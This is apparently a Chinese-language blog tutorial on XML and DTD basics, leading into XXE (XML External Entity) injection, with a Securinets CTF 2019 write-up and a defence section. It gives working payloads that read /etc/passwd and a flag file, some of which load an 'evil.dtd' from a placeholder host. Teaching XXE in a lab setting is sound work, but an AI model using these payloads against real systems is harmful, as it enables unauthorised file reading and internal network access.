xxe
xml基础
什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
结构
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
所以主要有以下模块
元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
上例的<note>
元素为根元素,进行概括性描述,而<to>、<from>
等为子元素,详细描述属性
元素可以附加某些属性
如<img src="computer.gif" />
实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
1.内部声明:<!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test any>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2.外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM “文件名”> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd内容:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
它使用一系列的合法元素来定义文档结构。
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1.一般实体的声明语法:<!ENTITY 实体名 “实体内容“>
引用实体的方式:&实体名;
2.参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 “实体内容“>
引用实体的方式:%实体名;
1,内部实体声明:<!ENTITY 实体名称 “实体的值”> ex:<!ENTITY eviltest “eviltest”>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
2,外部实体声明:<!ENTITY 实体名称 SYSTEM “URI”>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>
xxe(XML External Entity)攻击
注入方式
方式一:直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://xxx.com/evil.dtd">
<c>&b;</c>
dtd文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
方式三:通过DTD外部实体声明引入外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://xxx.com/evil.dtd">
%d;
]>
<c>&b;</c>
dtd文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
支持协议类型
其中php支持的协议会更多一些,但需要一定的扩展支持。
危害性
XXE危害1:读取任意文件
XXE危害2:执行系统命令
XXE危害3:探测内网端口
XXE危害4:攻击内网网站
Securinets CTF Quals 2019-feedback
界面是一个类似留言板的东西,查看源代码,发现:
<script type="text/javascript">
function func(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<feedback>' +
'<author>' + $('input[name="name"]').val() + '</author>' +
'<email>' + $('input[name="email"]').val() + '</email>' +
'<content>' + $('input[name="feedback"]').val() + '</content>' +
'</feedback>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('Message').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","feed.php",true);
xmlhttp.send(xml);
};
</script>
然后查看request和response:
request
payload:
<?xml version="1.0" encoding="UTF-8"?><feedback><author>d</author><email>d@d.d</email><content>undefined</content></feedback>
response
<h4>Thanks For you Feedback d</h4>
于是可以尝试构造
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE A [<!ENTITY d SYSTEM "file:///etc/passwd">]>
<feedback>
<author>&d;</author>
<email>wdd</email>
<content>undefined</content>
</feedback>
然后再改payload为
<!DOCTYPE A [<!ENTITY d SYSTEM "file:///proc/self/cwd/flag">]>
防御方法
防止XXE的最安全方法始终是完全禁用DTD(外部实体)。根据解析器,该方法应类似于以下内容:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
禁用DTD还可以使解析器安全地抵御拒绝服务(DOS)攻击,例如Billion Laughs(“ Billion Laughs ”攻击是一种DoS(拒绝服务)攻击,目标是XML文档解析器。这种攻击也被称之为XML炸弹或者指数实体攻击)。如果不可能完全禁用DTD,则必须以特定于每个解析器的方式禁用外部实体和外部文档类型声明。
reference:
http://www.w3school.com.cn/dtd/dtd_elements.asp
https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.w3school.com.cn/xml/index.asp
Author: damn1t
Link: http://microvorld.com/2019/03/25/vulnerable/xxe/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.